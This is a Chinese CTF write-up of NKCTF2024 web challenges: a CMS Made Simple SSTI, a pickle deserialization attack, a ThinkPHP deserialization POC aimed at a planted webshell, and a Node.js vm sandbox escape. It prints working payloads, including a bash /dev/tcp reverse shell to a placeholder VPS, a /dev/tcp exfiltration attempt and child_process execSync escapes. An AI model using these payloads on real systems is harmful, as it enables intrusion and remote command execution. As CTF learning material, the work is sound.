NKCTF2024
NKCTF2024
前言
我当年看别人NKCTF2023的WP时就觉得这比赛题目难度很大(对当时的我来说
现在NKCTF2024来了肯定要打的,虽然也有阿里云CTF,但是他真的难度太大了,没有一点下手空间
周六晚上开始看,md战绩惨淡
你有见过思路将近全通,但是题目一个做不出来吗
My_first_CMS
sb题,弱口令 弱不了一点,啥字典都没有(虽然看着这么多人解出来了
admin:Admin123
进入后台就好了
capture0x/CMSMadeSimple2: CMS Made Simple Version: 2.2.19 - SSTI (github.com)
发现个CVE能够SSTI
Layout > Design Manager > Breadcrumbs
编辑文章,插入ssti的payload即可: {7*7}
, {$smarty.version}
, {{7*7}}
没试过,应该行
….好吧,不行,有security setting,无法使用system等函数
那这么说还真不一定做的出来
预期解是在 Extensions > User Defined Tags
进行RCE
attack_tacooooo
好啦,参考文章都找到了复现不出来
tacooooo@qq.com:tacooooo
密码走运测出来了
然后就根据参考文章复现,但是tm的不知道为什么不行
参考文章大概的流程
vps上使用给出的脚本开启一个smb服务
然后使用给出的代码,生成pickle文件
需要注意的是题目是Linux端,登陆后上传对应的pickle文件,然后按照指示设置session即可
但是
然后我就想会不会有nc,但我还是算了
尝试ls / > /dev/tcp/vps-ip/port
去重定向,好像也不行
然后看WP,还tm真有nc,但是这个443看起来有特殊含义,难不成只有443才能连上吗
反弹得到 shell 后使用 crontab -e 查看隐藏计划任务里的 flag
。。。不知道
感觉crontab应该会在suid中有出现,不然应该察觉不出来
文章复现不出来。。。。。。
用过就是熟悉
。。。。思路全通,但生成payload好像出了点问题
最近有句话:我比流言蜚语更早认识你
我比知道利用链更早认识存在的backdoor 。。。。。。
说一下我整个审计顺序吧(和预期的有点偏差
我没审过cms,所以刚开始不知道查关键字,就觉得重要的的文件名、文件内容大概看一遍,留个映像
然后找到
就知道要用到反序列化链
然后因为首页是登录框,我就去sql文件中去找密码了(嘻嘻
找了很久,大部分都是经过加盐后的hash(因为没破解出来
然后我就在搜password关键字的时候发现了
显示为admin.member.edit的逻辑为修改密码,有明文
成功登录
然后登陆后啥也没有,就在回收站有个新建文件.html
还原发现是个一句话木马
因为不是公共靶机,所以肯定是出题人留的,肯定有用 (所以说我最早认识的就是后门
然后没办法,继续看代码
我们就看看index.class.php
就是首页登录的逻辑
发现反序列化入口
并且发现 登录密码确实是加了盐的
然后看到注释你知道tp吗
,我就去搜了thinkphp的漏洞
经过一段时间的查看并且配合上我之前粗略的审计
我发现前面的入口都一样,其他的只是换了位置
思路通了,利用链也好找,直接看看最终要调用的__call
函数有什么能利用的
就两个
然后我就去构造第一个,但构造完,发现只是写了文件,用include也显示不出内容
我一怒之下(其实也思考了一段时间
直接用去包含后门,并且正好没有.
,就不管提示了
。。。但是由于写的payload存在问题,所以没有做出来
给一下官方的吧
看了之后,我感觉我应该是这里出了问题
这里我只声明了Debug,没有声明Testone
,甚至没有继承Testone
namespace think{
class Debug{
}
}
应该是这的原因,其他都一样
然后tm的查看文件竟然直接路由输入就行,woc了啊
诶,既然这样,那我的payload不一定有问题
不过既然被放在/var/www/html下,好像还真没毛病
提示有两处,
新建文件说过了,就是后门
然后给出他是咋解密码的,有点抽象了
用这个去包含即可
WOC,写到这里我看到wp中有处地方挺奇怪,问了下出题人,我意识到原来是这里错了
我的真正错误原因
看到这里的二重数组,我下意识地使用$this->engine = [["name"=>"data/files/shell"]];
去传值
但这是错误的
这里特殊的点是用的是__call
方法,形参name指的是调用的不存在的方法的名字
而arguments为什么是array,是因为防止这个不存在的方法传入多个参数
测试
<?php
class A
{
public function __call(string $name, array $arguments)
{
var_dump($name);
var_dump($arguments);
}
}
$b = "asd";
$engine = array("name"=>"shell");
$a = new A();
$a->Loginsubmit($engine);
string(11) "Loginsubmit"
array(1) {
[0] =>
array(1) {
'name' =>
string(5) "shell"
}
}
一个参数,传进去本身就是0下标了
传两个参数才有1下标
$a->Loginsubmit($engine,$b);
string(11) "Loginsubmit"
array(2) {
[0] =>
array(1) {
'name' =>
string(5) "shell"
}
[1] =>
string(3) "asd"
}
这还真不知道,询问出题人后才了解
poc
<?php
namespace think{
class Config{
}
class View{
protected $data;
public $engine;
public function __construct()
{
$this->data = ["Loginout"=>new Config()];
$this->engine = array("time"=>"10086","name"=>"data/files/shell");
}
}
class Collection{
protected $items;
public function __construct()
{
$this->items = new View();
}
}
}
namespace think\process\pipes{
use think\Collection;
class Windows
{
private $files;
public function __construct()
{
$this->files = array(new Collection());
}
}
}
namespace {
$a = new think\process\pipes\Windows();
echo base64_encode((serialize($a)));
}
最后
无回显RCE,外带即可
全世界最简单的CTF
开头说思路将近AK,就是卡在这题
看源代码,发现/secret,访问拿到app.js源码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})
vm沙盒,并且作了一个waf
很多大佬使用replace进行绕过
LaoGong的WP
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})
官方WP
/secret中对process.__filename
有一个判断,正常情况下process是没有__filename
属性的
猜测可以原型链污染
然后就能任意文件读取
源码看到require('.hack')
,我们污染为/app/hack.js
内容为console.log('shell.js')
继续读取shell.js
console.log('shell');
const p = require('child_process');
p.execSync(process.env.command);
process.env.command
也可以通过原型链污染控制
但问题是怎么去include这个shell.js呢
这里require可以通过原型链污染进行任意文件包含
https://hujiekang.top/posts/nodejs-require-rce/
throw new Proxy({},{
get: function () {
const cc = arguments.callee.caller;
cc.__proto__.__proto__.data = {"name":"./hack","exports":"./shell.js"};
cc.__proto__.__proto__.path = "/app";
cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'";
}
})
。。。好吧,确实不会
finally
很烦,这也能爆零,可能动手能力太差了,以及实现的细节上出了很多问题
写的文章可能出现前后矛盾的情况,那也是因为在不断地反思错误,像提到的__call
那个坑点,如果我不写这篇文章的话,我可能就认为我思路对了就不复现了,就发现不了这一点了